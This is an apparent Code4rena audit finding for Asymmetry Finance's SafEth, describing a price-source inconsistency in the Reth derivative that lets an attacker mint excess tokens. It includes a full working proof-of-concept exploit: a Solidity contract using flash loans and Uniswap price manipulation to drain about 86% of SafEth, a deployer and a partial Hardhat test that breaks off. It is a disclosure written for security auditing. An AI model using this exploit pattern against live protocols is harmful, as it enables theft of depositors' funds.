Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 95/246
Findings: 2
Award: $42.20
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L92-L95
Reth
's ethPerDerivative
function fetches its value from either the Uniswap
pool or the rocket pool, depending on the passed argument. In a situation in
which the Reth
's holdings of rETH
is larger than the deposit "gap" of
the rocket pool, an attacker staking an amount of ether into SafEth
that
causes a deposit into Reth
of (roughly) less than half this "gap" will get
the value of their deposit calculated from the rocket pool, while the previous
total value SafEth
/Reth
's holdings of rETH will be calculated from the
Uniswap pool. By manipulating the price of rETH to be very low in the Uniswap
pool beforehand, the attacker will then get minted SafEth
tokens worth more
than what they staked, so they can unstake immediately and repeat this attack
for as long as the required inequalities can be satisfied, draining most of
SafEth
's value.
Currently it would not be possible to carry out this attack, as the gap is zero. However the attack will become possible once either RocketDAO increases the pool maximum or implements withdrawals after the Shapella upgrade; that one of the two happens seems highly plausible.
The Reth
contract's ethPerDerivative
function is supposed to return the
amount of ether that one rETH is worth. To obtain the value of one rETH it uses
one of two different sources however, depending on the _amount
argument:
function ethPerDerivative(uint256 _amount) public view returns (uint256) { if (poolCanDeposit(_amount)) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); }
One of the two price sources is the rETH-WETH Uniswap liquidity pool, where the
price can be manipulated by the attacker (by swapping the entire liquidity in
one direction, and running the attack on SafEth
in the callback). This means
that the values ethPerDerivatative
provides can differ wildly.
In the stake
function of the SafEth
contract, the ethPerDerivative
function of each derivative is then used twice: First to determine the total
value held by the contract at the start:
uint256 underlyingValue = 0; // Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18;
and then to determine the value added by depositing the ether sent by the caller into the various derivatives.
uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18; totalStakeValueEth += derivativeReceivedEthValue;
The amount of SafEth
tokens minted for the caller is based on these values.
Thus, if the value returned for the amount of rETH received by depositing the
caller's ether into the derivative is higher than the value returned for the
previous total holdings, then the attacker will obtain more SafEth
tokens
than they should, so unstaking them again will yield more ether than was staked
by the attacker, yielding a profit.
To understand when this can happen, we need to look at the
poolCanDeposit
function of the Reth
contract, which returns
rocketDepositPool.getBalance() + _amount <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
If we assume for the moment that all amounts considered are larger than the
minimum deposit to simplify the analysis (this does not impact the attack, only
simplifies the discussion), then we can describe poolCanDeposit
as checking
whether _amount
is at most as large as the difference between the maximum
amount of deposits in the rocket pool and the currently deposited amount. We
will denote this difference as the gap
. Let us also denote the amount of rETH
held by the Reth
contract at the start of a call to the stake
function by
prevAmount
, and we denote amount of Reth
additionally obtained by the call
derivative.deposit{value: ethAmount}();
by depositAmount
, as in the code.
Note that the deposit
function of the Reth
contract also differs depending
on whether the amount of ether to be deposited exceeds the gap or not; if it
does, then rETH is obtained from the Uniswap liquidity pool, otherwise from the
rocket pool. In the latter case, the gap
will shrink by the deposited amount.
This means that in
uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18;
If ethAmount <= gap
but depositAmount > gap - ethAmount
, then the deposit
is done into the rocket pool, but value subsequently fetched from the Uniswap
pool. This is already an inconsistency, but fixing this won't fix the attack
described below.
As a side remark, the way poolCanDeposit
is used seems to confuse units and
could possibly lead to other errors if the price of 1 rETH
differs a lot from
1 ETH
; in the ethPerDerivative
function an amount of rETH is used as the
argument and passed through to poolCanDeposit
, but in the deposit
function
poolCanDeposit
is called with an amount of ETH. To simplify the discussion in
the following we will assume that the rocket pool mints 1 rETH
for each 1 ETH
deposited. (Currently the values have not diverged only slightly, in a
more precise analysis one would have to replace factors like 1/2
below by
factors depending on the conversion rate that are currently very close to
1/2
. This simplification is only a slight precision loss and does not impact
the viability of the attack.)
Then there are the following combinations of values where the two
ethPerDerivative
calls and the depositing of ETH for rETH in stake
exhibit
a "bifurcated" behavior, with some, but not all three, using the Uniswap pool,
and the others the rocket pool.
prevAmount > gap
depositAmount <= gap/2
The value of the previous holdings will be calculated from the Uniswap
liquidity pool. However, the ether provided by the caller is deposited into the
rocket pool and the value of this deposit is obtained from there as well. By
artificially making the value of rETH very low on the Uniswap pool will be able
to make a profit. For example, say each SafEth token represents one token of
each of the three derivatives, each of which is worth 1 ETH. Say the attacker
stakes 3 ETH. This will be determined to be worth roughly 3 ETH after the
depositing (minus some slippage). By crashing the price of rETH on the Uniswap
pool the stake
function will however evaluate the worth of its holdings
before the new deposits as 2 * total number of SafEth tokens
, as the holdings
of rETH
are evaluated to be worthless. Thus while the attacker should get
1 SafEth
token, they will get roughly 1.5 SafEth
tokens. Unstaking these
they then obtain roughly 4.5 ETH
, making a profit of roughly 1.5 ETH
(less
in practice due to slippage).
By depositing roughly 3/2 * gap
(so that gap/2
is allocated to be deposited
into rETH), the attacker will make a profit of roughly 3/4 * gap
. If the
attacker is unable to grow the gap again, then repeating this attack (now with
the new gap being only half as big, we keep gap
as referring to the original
one), the attacker can drain another 3/8 * gap
. In the limit the attacker can
thus make roughly 3/2 * gap * (1/2 + 1/4 + ...) = 3/2 * gap
(in practice less
due to slippage etc., and 3/2 * gap
may be more than the maximum amount that
can be staked, so more steps are needed, also reducing the total amount that
can be drained). If the attacker can grow the gap again by withdrawing rETH
from the rocket pool, then the attack can go on for longer, draining
essentially all value from SafEth
. The attack will only have to stop once
prevAmount > 2*depositAmount
becomes impossible due to the minimum staking
amount of 0.5 ETH
, so at the end of the attack the total value of all
SafEth
would be left at roughly 1 ETH
.
gap/2 < depositAmount <= gap
In this case the value of the previous holdings but also the determination of how much the new deposit is worth comes from Uniswap, but the new rETH is actually obtained from the rocket pool. This does not seem as useful to an attacker.
prevAmount <= gap
depositAmount > gap
In this case the value of the previous holdings will be taken from the rocket
pool, the new rETH will be obtained from the Uniswap liquidity pool, with the
value of the depositAmount
rETH tokens also using the Uniswap price. While
the attacker can manipulate the price for rETH in terms of ETH on the Uniswap
pool to make rETH extremely expensive, this will also cause the newly deposited
ether to yield correspondingly less rETH, so this does not actually lead to an
artificially increased derivativeReceivedEthValue
, and hence this case is
useless for an attacker.
gap/2 < depositAmount <= gap
In this case the value of the previous holdings is taken from the rocket pool, and the new rETH is also obtained from there, but it's value is determined from the Uniswap liquidity pool. By artificially inflating the value of rETH in the Uniswap pool beforehand the attacker obtains more SafEth than they should.
This variant is potentially much more efficient than the previous one, as
(2+1)/(2+artificially small but nonnegative value)
can at most be 1.5
,
while (2+artificially large value)/(2+1)
can be much larger, meaning the
attacker would be able to control nearly all SafEth
tokens issued and thus
drain nearly all value using only a single round of this attack.
However, the conditions mean that we must have
prevAmount <= gap < 2*depositAmount
, so we must have
depositAmount > prevAmount / 2
. So as long as the total value that has been
deposited into SafEth exceeds roughly twice the maximum deposit, is not anymore
possible to satisfy the required inequalities while still passing the
msg.value <= maxAmount
check.
A technical difficulty is also that with very large prices some calculations tend to overflow, so the attacker for example needs to provide liquidity to the Uniswap pool themselves to achieve a carefully determined price. For this reason, and as I found the other variant first, I provide a POC only for the other variant, as that already demonstrates the impact.
The vulnerability described allows an attacker to steal most of the value held
in SafEth
. For the attack it is necessary that gap
is positive (and for the
attacks to be able to drain a large amount it also should not be too small).
Currently gap
is zero, hence the attack is not possible, as the pool maximum
is 5000 ETH and it is completely filled. However, there are two ways in which
gap could become positive in the future:
RocketDAO could increase the pool maximum. The original pool maximum seems to have been 160 ether (see 1), so the pool maximum was increased previously.
The rocket pool and rETH token contracts could be updated in such a way as
to allow withdrawals after the Shapella upgrade. Note that this does not
mean that any changes to the Reth
contract that is part of this audit are
required! The attacker can then buy rETH on the Uniswap liquidity pool and
withdraw those to increase the gap.
Only one of the two needs to happen to make an attack viable, and both are both very plausible to happen as well as out of control of the Asymmetry Finance team.
A proof of concept is provided here for the scenario in which RocketDAO increases the maximum pool size. Add/change the files as indicated below, then run
npx hardhat test --grep "ShalaamumAttackRethPriceBifurcation"
The test takes a while to run, and should finish with something like this:
✔ Attack ran (15032ms) ✔ Attacker used a single transaction SafEth contract holds 86% less of derivative 0 SafEth contract holds 86% less of derivative 1 SafEth contract holds 86% less of derivative 2 SafEth total value estimated to be 210 ETH This is down from 1556 ETH So value is down 86% ✔ SafETH holds less now (79ms) Attacker made a profit of 1337 ETH ✔ Attacker made profit 16 passing (33s)
The test uses the test helpers that were provided to setup SafEth and have users deposit ether. Then the RocketDAO account is impersonated to simulate them increasing the rocket pool maximum size by 2000 ETH. Finally, the attacker, starting out with only 1 ETH (to pay the not insignificant gas costs), runs a single transaction deploying an attack contract that drains 86% of the value held in SafEth, making a large amount of profit in the process.
The attack contract is not fully generalized, so it works in the specific
situation it is tested in, but changes would be necessary if values such as the
liquidity in the Uniswap pool, the amount of rETH held by SafEth, etc. were to
be different. Thus make sure to run the POC as provided and in particular
change the stakeMinimum
and stakeMaximum
values in integrationHelpers.ts
.
After deployment of the attack contract by a deployment contract, the contract
is entered in the run()
function. Starting from there, the steps of the
attack are as follows:
Get a quote for how much WETH we need to buy half of the rETH held by the Uniswap liquidity pool. We need this to be able to buy these rETH on the liquidity pool, because we will later use a flash swap to sell nearly all of the rETH the Uniswap pool still holds in order to crash the value rETH. But in order to be able to pay for this flash swap at the end of the attack, we need to start out with some rETH.
Take out a flash loan for that amount of WETH from the USDC-WETH Uniswap liquidity pool, as that pool has high liquidity. The following steps are all in the flash loan callback.
Now in the uniswapV3FlashCallback
function, we first swap all our WETH
to rETH on Uniswap. In the callback for that we pay directly and thus return
to uniswapV3FlashCallback
.
Back in uniswapV3FlashCallback
, we flash swap from rETH to WETH, asking
for essentially all of the WETH the Uniswap liquidity pool holds, crashing
the value of rETH. The next steps are all within the swap callback.
Now in uniswapV3SwapCallback
(as this function gets called multiple times,
a storage variable stage
is used to keep track of which stage of the
attack we are in), the value of rETH has been reduced to 0. We unwrap the
large amount of WETH we obtained to have ETH for the next steps, and then
call runAttack
.
runAttack
calls runAttackStep
.
In runAttackStep
, if the gap
between the amount staked in the rocket pool
and the maximum amount is larger than the amount of rETH held by SafEth
minus 1, then we directly deposit ETH to obtain rETH and reduce the gap
ourselves.
We stake (3/2)*gap
into SafEth
.
For the reasons explained above, we will get an amount of SafEth
tokens
that is too large. We thus unstake immediately, making a profit in the
process.
Back in runAttack
, if runAttackStep
has not run too many times (for gas
usage reasons) and the last time runAttackStep
ran, it did so
successfully (in particular, at some point the gap
will be so small that
(3/2)*gap
will be smaller than the minimum amount one can stake), then we
go back to step 6.
Now we are past the loop calling runAttackStep
in runAttack
. The
function returns to the swap callback from when we flash sold a large
amount of rETH to crash its value.
The buying of rETH on Uniswap in step 3 and the new ones that got minted
for us in step 7 happen to suffice to settle our debt, which we pay back.
This step is one of the reasons why the attack script might not run
successfully if one changes some of the parameters such as the liquidity
the Uniswap pool has or the size of the gap
in the rocket pool at the
start - if those parameters change, then for example the amount of rETH
bought in step 3 also needs to change.
After paying for the swap we are now back in the flash loan callback. Here we need to repay a flash loan over a large amount of WETH. We wrap our ETH and pay back the loan.
Now we are back in the run
function, and are left with some rETH and some
WETH. We burn our rETH to convert it to ETH, unwrap our WETH, and finally
transfer our profit to the attacker account.
test/helpers/integrationHelpers.ts
Apply the following diff to test/helpers/integrationHelpers.ts
:
diff --git a/test/helpers/integrationHelpers.ts b/test/helpers/integrationHelpers.ts index 884b3db..a376132 100644 --- a/test/helpers/integrationHelpers.ts +++ b/test/helpers/integrationHelpers.ts @@ -3,8 +3,8 @@ import { ethers } from "hardhat"; import { getLatestContract } from "./upgradeHelpers"; let randomSeed = 2; -export const stakeMinimum = 0.5; -export const stakeMaximum = 5; +export const stakeMinimum = 5; +export const stakeMaximum = 50; export const getAdminAccount = async () => { const accounts = await ethers.getSigners();
contracts/ShalaamumAttackRethPriceBifurcation.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/rocketpool/RocketStorageInterface.sol"; import "./interfaces/rocketpool/RocketTokenRETHInterface.sol"; import "./interfaces/rocketpool/RocketDepositPoolInterface.sol"; import "./interfaces/rocketpool/RocketDAOProtocolSettingsDepositInterface.sol"; import "./interfaces/IWETH.sol"; import "./SafEth/SafEth.sol"; import "./SafEth/derivatives/Reth.sol"; interface IUniswapV3FlashCallback { function uniswapV3FlashCallback( uint256 fee0, uint256 fee1, bytes calldata data ) external; } interface IUniswapV3SwapCallback { function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } interface IQuoter { function quoteExactOutputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountOut, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountIn); } contract ShalaamumAttackRethPriceBifurcation is IUniswapV3SwapCallback { // In the example, the weight of RETH is exactly one third of the total weight. uint256 constant RETH_TO_ALL_DERIVATIVES_FACTOR = 3; uint160 constant MIN_SQRT_RATIO = 4295128739; uint160 constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; address public constant ROCKET_STORAGE_ADDRESS = 0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46; address public constant W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant UNISWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; address public constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; address public constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address constant QUOTER_ADDRESS = 0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6; RocketStorageInterface rocketStorage; RocketDepositPoolInterface rocketDepositPool; RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit; RocketTokenRETHInterface rocketToken; SafEth safEth; Reth derivativeReth; IWETH weth; IERC20 usdc; IUniswapV3Pool uniswapPool; IUniswapV3Pool usdcWEthPool; IQuoter quoter; enum AttackStage { Initial, BorrowedWEth, GotREth, PriceManipulated } AttackStage stage; uint256 rEthBorrowed; uint256 wethFlashLoanAmount; constructor(SafEth safEth_) { safEth = safEth_; derivativeReth = Reth(payable(address(safEth.derivatives(0)))); // From deployment we know Reth is the first derivative assert(derivativeReth.ROCKET_STORAGE_ADDRESS() == ROCKET_STORAGE_ADDRESS); rocketStorage = RocketStorageInterface(ROCKET_STORAGE_ADDRESS); address rocketDepositPoolAddress = rocketStorage.getAddress( keccak256(abi.encodePacked("contract.address", "rocketDepositPool"))); rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress); address rocketProtocolSettingsAddress = rocketStorage.getAddress( keccak256(abi.encodePacked("contract.address", "rocketDAOProtocolSettingsDeposit"))); rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface( rocketProtocolSettingsAddress); address rocketTokenAddress = RocketStorageInterface(ROCKET_STORAGE_ADDRESS).getAddress( keccak256(abi.encodePacked("contract.address", "rocketTokenRETH"))); rocketToken = RocketTokenRETHInterface(rocketTokenAddress); IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); uniswapPool = IUniswapV3Pool( factory.getPool(rocketTokenAddress, W_ETH_ADDRESS, 500) ); usdcWEthPool = IUniswapV3Pool( factory.getPool(USDC_ADDRESS, W_ETH_ADDRESS, 500) ); assert(usdcWEthPool.token0() == USDC_ADDRESS); assert(usdcWEthPool.token1() == W_ETH_ADDRESS); quoter = IQuoter(QUOTER_ADDRESS); weth = IWETH(W_ETH_ADDRESS); assert(uniswapPool.token0() == address(rocketToken)); assert(uniswapPool.token1() == address(weth)); stage = AttackStage.Initial; usdc = IERC20(USDC_ADDRESS); } function rocketPoolDepositAmountLeftOver() internal view returns (uint256) { uint256 rocketDepositedNow = rocketDepositPool.getBalance(); uint256 rocketDepositedMax = rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize(); return rocketDepositedMax - rocketDepositedNow; } function poolPrice() internal view returns (uint256) { (uint160 sqrtPriceX96, , , , , , ) = uniswapPool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2); } function run() public { console.log("Beginning Attack."); console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Balance RETH: %s", rocketToken.balanceOf(address(this))); console.log("Current WETH (in wei) one gets for 1 REth: %s", poolPrice()); uint256 safEthHoldingsOfReth = derivativeReth.balance(); uint256 rocketLeftOver = rocketPoolDepositAmountLeftOver(); console.log("rocketLeftOver = %s", rocketLeftOver); console.log("safEthHoldingsOfReth = %s", safEthHoldingsOfReth); assert(rocketLeftOver + 1 >= safEthHoldingsOfReth); console.log("Uniswap pool has of REth: %s", rocketToken.balanceOf(address(uniswapPool))); console.log("Uniswap pool has of WEth: %s", weth.balanceOf(address(uniswapPool))); console.log("First will need to get half of uniswaps RETH."); wethFlashLoanAmount = quoter.quoteExactOutputSingle( address(weth), address(rocketToken), 500, (rocketToken.balanceOf(address(uniswapPool)) * 50) / 100, MAX_SQRT_RATIO - 1 ); console.log("Will need the following WETH to get the required RETH: %s", wethFlashLoanAmount); console.log("Trying to obtain it with a flash loan from USDC-WETH pool..."); usdcWEthPool.flash( address(this), 0, wethFlashLoanAmount, "" ); console.log("\n\nBack at top level. Paid back all flash loans and swaps."); console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Balance RETH: %s", rocketToken.balanceOf(address(this))); uint256 rEthCollateral = rocketToken.getTotalCollateral(); console.log("ETH held by rocket token: %s", rEthCollateral); uint256 rEthBurnable = rocketToken.getRethValue(rEthCollateral); console.log("Burnable RETH: %s", rEthBurnable); if(rocketToken.balanceOf(address(this)) < rEthBurnable) { rEthBurnable = rocketToken.balanceOf(address(this)); } console.log("Burning RETH: %s", rEthBurnable); rocketToken.burn(rEthBurnable); console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Balance RETH: %s", rocketToken.balanceOf(address(this))); console.log("Unwrapping WETH..."); weth.withdraw(weth.balanceOf(address(this))); console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Sending funds to attacker account"); payable(address(tx.origin)).transfer(address(this).balance); console.log("Balance ETH: %s", address(this).balance); } function uniswapV3FlashCallback( uint256 usdcFee, uint256 wethFee, bytes calldata data ) external { console.log("In flash callback"); assert(usdcFee == 0); uint256 wethToPayBack = wethFee + wethFlashLoanAmount; console.log("WETH to pay back later: %s", wethToPayBack); assert(stage == AttackStage.Initial); stage = AttackStage.BorrowedWEth; console.log("Trying to swap WETH to RETH"); uniswapPool.swap( address(this), false, int256(weth.balanceOf(address(this))), MAX_SQRT_RATIO - 1, "" ); console.log("After the swap."); console.log("RETH balance: %s", rocketToken.balanceOf(address(this))); console.log("Uniswap pool has of REth: %s", rocketToken.balanceOf(address(uniswapPool))); console.log("Uniswap pool has of WEth: %s", weth.balanceOf(address(uniswapPool))); console.log("Sweeping all WETH from the RETH-WETH pool to crash RETH price"); uniswapPool.swap( address(this), true, -int256(weth.balanceOf(address(uniswapPool))), MIN_SQRT_RATIO + 1, "" ); console.log("Back in the flash callback."); console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Balance RETH: %s", rocketToken.balanceOf(address(this))); console.log("WETH to pay back: %s", wethToPayBack); console.log("Wrapping ETH"); weth.deposit{value: address(this).balance}(); console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Paying..."); weth.transfer(address(usdcWEthPool), wethToPayBack); } function uniswapV3SwapCallback( int256 rEthDelta, int256 wEthDelta, bytes calldata data ) external { console.log("In swap callback"); console.log("Current WETH (in wei) one gets for 1 REth: %s", poolPrice()); if(stage == AttackStage.BorrowedWEth) { stage = AttackStage.GotREth; assert(rEthDelta < 0); assert(wEthDelta > 0); console.log("rEth received: %s", uint256(-rEthDelta)); console.log("wEth to pay back: %s", uint256(wEthDelta)); console.log("wEth balance: %s", weth.balanceOf(address(this))); weth.transfer(address(uniswapPool), uint256(wEthDelta)); console.log("Payed, now wEth balance: %s", weth.balanceOf(address(this))); } else if(stage == AttackStage.GotREth) { stage = AttackStage.PriceManipulated; assert(rEthDelta > 0); assert(wEthDelta < 0); console.log("Uniswap pool has of REth: %s", rocketToken.balanceOf(address(uniswapPool))); console.log("Uniswap pool has of WEth: %s", weth.balanceOf(address(uniswapPool))); console.log("rEth to pay back: %s", uint256(rEthDelta)); console.log("wEth received: %s", uint256(-wEthDelta)); assert(poolPrice() == 0); console.log("Unwrapping my WETH"); weth.withdraw(weth.balanceOf(address(this))); runAttack(); // We now have ETH and RETH, and will need to repay some RETH. console.log("Balance ETH: %s", address(this).balance); console.log("Balance WETH: %s", weth.balanceOf(address(this))); console.log("Balance RETH: %s", rocketToken.balanceOf(address(this))); console.log("RETH to pay back: %s", uint256(rEthDelta)); rocketToken.transfer(address(uniswapPool), uint256(rEthDelta)); } } function runAttack() internal { console.log("\n\nBeginning actual attack..."); uint256 ethBalanceBefore = address(this).balance; uint256 rethBalanceBefore = rocketToken.balanceOf(address(this)); bool shouldContinue = true; uint i = 0; while(shouldContinue && (i < 20)) { console.log("\nRunning attack %s", i); console.log("gas left: %s", gasleft()); shouldContinue = runAttackStep(); i++; } console.log("\n\n"); uint256 ethBalanceAfter = address(this).balance; uint256 rethBalanceAfter = rocketToken.balanceOf(address(this)); if(ethBalanceAfter >= ethBalanceBefore) { console.log("ETH Profit made above: %s", ethBalanceAfter - ethBalanceBefore); } else { console.log("ETH Loss made above: %s", ethBalanceBefore - ethBalanceAfter); } if(rethBalanceAfter >= rethBalanceBefore) { console.log("RETH Profit made above: %s", rethBalanceAfter - rethBalanceBefore); } else { console.log("RETH Loss made above: %s", rethBalanceBefore - rethBalanceAfter); } } function runAttackStep() internal returns (bool) { // For one attack step we need the following conditions: // A. Deposits possible in the rocket pool are exactly one less than SafEth's // holdings of RETH // B. We have enough ETH so that the portion allocated when staking to RETH will // half of the current amount of deposits possible in the rocket pool // (so that it would fit twice, as we actually deposit, and *then* check price // that requires it to fit again). // C. RETH is worthless on uniswap. // A and B together ensure bifurcation of the price estimates, and C ensures that the // value indeed diverges widely in the direction in which we can make profit. uint256 safEthHoldingsOfReth = derivativeReth.balance(); if(safEthHoldingsOfReth < 100000) { console.log("Stopping attack because safEth is drained"); return false; } uint256 rocketLeftOver = rocketPoolDepositAmountLeftOver(); console.log("rocketLeftOver = %s", rocketLeftOver); console.log("safEthHoldingsOfReth = %s", safEthHoldingsOfReth); console.log( "ethPerDerivative of SafEth holdings: %s", derivativeReth.ethPerDerivative(derivativeReth.balance()) ); if(rocketLeftOver + 1 > safEthHoldingsOfReth) { uint256 toDeposit = (rocketLeftOver + 1) - safEthHoldingsOfReth; while(toDeposit > 0) { uint256 actuallyDeposit = toDeposit; if(actuallyDeposit > 100*(10**18)) { actuallyDeposit = 100*(10**18); } console.log("Amount to deposit into rocket pool: %s", actuallyDeposit); rocketDepositPool.deposit{value: actuallyDeposit}(); toDeposit = toDeposit - actuallyDeposit; } } rocketLeftOver = rocketPoolDepositAmountLeftOver(); console.log("rocketLeftOver = %s", rocketLeftOver); console.log("safEthHoldingsOfReth = %s", safEthHoldingsOfReth); console.log( "ethPerDerivative of SafEth holdings: %s", derivativeReth.ethPerDerivative(derivativeReth.balance())); assert(rocketLeftOver + 1 <= safEthHoldingsOfReth); uint256 amountToStake = (rocketLeftOver / 2) * RETH_TO_ALL_DERIVATIVES_FACTOR; if(amountToStake > safEth.maxAmount()) { amountToStake = safEth.maxAmount(); } if(amountToStake < safEth.minAmount()) { console.log("Stopping attack because amount became too low."); return false; } uint256 ethBalanceBefore = address(this).balance; //console.log("ETH balance: %s", address(this).balance); console.log("Now staking: %s", amountToStake); safEth.stake{value: amountToStake}(); console.log("Got SafEth: %s", safEth.balanceOf(address(this))); console.log("Unstaking again..."); safEth.unstake(safEth.balanceOf(address(this))); //console.log("Unstaked."); //console.log("ETH balance: %s", address(this).balance); uint256 ethBalanceAfter = address(this).balance; uint256 profit = ethBalanceAfter - ethBalanceBefore; console.log("Profit made: %s", profit); if(profit > 0) { return true; } else { return false; } } receive() external payable {} }
contracts/ShalaamumAttackRethPriceBifurcationDeployer.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "./SafEth/SafEth.sol"; import "./ShalaamumAttackRethPriceBifurcation.sol"; contract ShalaamumAttackRethPriceBifurcationDeployer { constructor (SafEth safEth) { ShalaamumAttackRethPriceBifurcation attack = new ShalaamumAttackRethPriceBifurcation(safEth); attack.run(); } }
test/ShalaamumAttackRethPriceBifurcation.test.ts
import { network, ethers } from "hardhat"; import { expect } from "chai"; import { SafEth } from "../typechain-types"; import { BigNumber } from "ethers"; const { setBalance } = require("@nomicfoundation/hardhat-network-helpers"); import { initialUpgradeableDeploy, upgrade, getLatestContract, } from "./helpers/upgradeHelpers"; import { getAdminAccount, getUserAccounts, getUserBalances, randomStakes, stakeMinimum, stakeMaximum } from "./helpers/integrationHelpers"; import { derivativeAbi } from "./abi/derivativeAbi"; import { rEthDepositPoolAbi } from "./abi/rEthDepositPoolAbi"; import { rocketStorageAbi } from "./abi/rocketStorageAbi"; import { rocketSettingsDepositAbi } from "./abi/rocketSettingsDepositAbi"; describe("ShalaamumAttackRethPriceBifurcation", function () { let adminAccount: SignerWithAddress; let userAccounts: SignerWithAddress[]; let attackerAccount: SignerWithAddress; let attackerBalanceInitial: BigNumber; let safEthProxy: SafEth; let logPrefix: String; let startingBalances: BigNumber[]; let networkFeesPerAccount: BigNumber[]; let totalStakedPerAccount: BigNumber[]; let derivativeContracts; let safEthHoldingsStart; let safEthTotalValueStart; let derivativeCount; const attackerBalanceStart = 10n ** 18n; let adminTransactionsStart; let userTransactionsStart; let attackerTransactionsStart; // Following function copied from the SafEth.test.ts file const resetToBlock = async (blockNumber: number) => { await network.provider.request({ method: "hardhat_reset", params: [ { forking: { jsonRpcUrl: process.env.MAINNET_URL, blockNumber, }, }, ], }); }; before(async () => { // Fix a block to make the test deterministic. // This happened to be the latest block when I added the line, so it // was not chosen for special properties. await resetToBlock(16925534); adminAccount = await getAdminAccount(); userAccounts = await getUserAccounts(); attackerAccount = (await ethers.Wallet.createRandom()).connect(ethers.provider); safEthProxy = (await initialUpgradeableDeploy()) as SafEth; derivativeCount = await safEthProxy.derivativeCount(); derivativeContracts = new Array(); for (let i = 0; i < derivativeCount; i++) { const derivativeAddress = await safEthProxy.derivatives(i); derivativeContracts.push(new ethers.Contract( derivativeAddress, derivativeAbi, adminAccount )); } logPrefix = " "; startingBalances = await getUserBalances(); networkFeesPerAccount = startingBalances.map(() => BigNumber.from(0)); totalStakedPerAccount = startingBalances.map(() => BigNumber.from(0)); }); describe("Scenario setup", function () { it("adminAccount should be owner of SafEth", async function () { const owner = await safEthProxy.owner(); expect(owner).eq(adminAccount.address); }); it("stakeMinimum and stakeMaximum are the expected values. If this fails you forgot to change integrationsHelpers.ts", async function () { expect(stakeMinimum).eq(5); expect(stakeMaximum).eq(50); }); it("Staking a random amount 3 times for each of the users", async function () { await randomStakes( safEthProxy.address, networkFeesPerAccount, totalStakedPerAccount ); }); it("Simulating rocketDAO deciding to increase the max pool limit", async function () { const depositPoolAddress = "0x2cac916b2A963Bf162f076C0a8a4a8200BCFBfb4"; const depositPool = new ethers.Contract( depositPoolAddress, rEthDepositPoolAbi, adminAccount ); const rocketBalanceStart = await depositPool.getBalance(); console.log(`${logPrefix}rocket pool balance: ${rocketBalanceStart}`); const rocketStorageAddress = "0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46"; const rocketStorage = new ethers.Contract( rocketStorageAddress, rocketStorageAbi, adminAccount ); let encodedData = ethers.utils.solidityPack( ["string", "string"], ["contract.address", 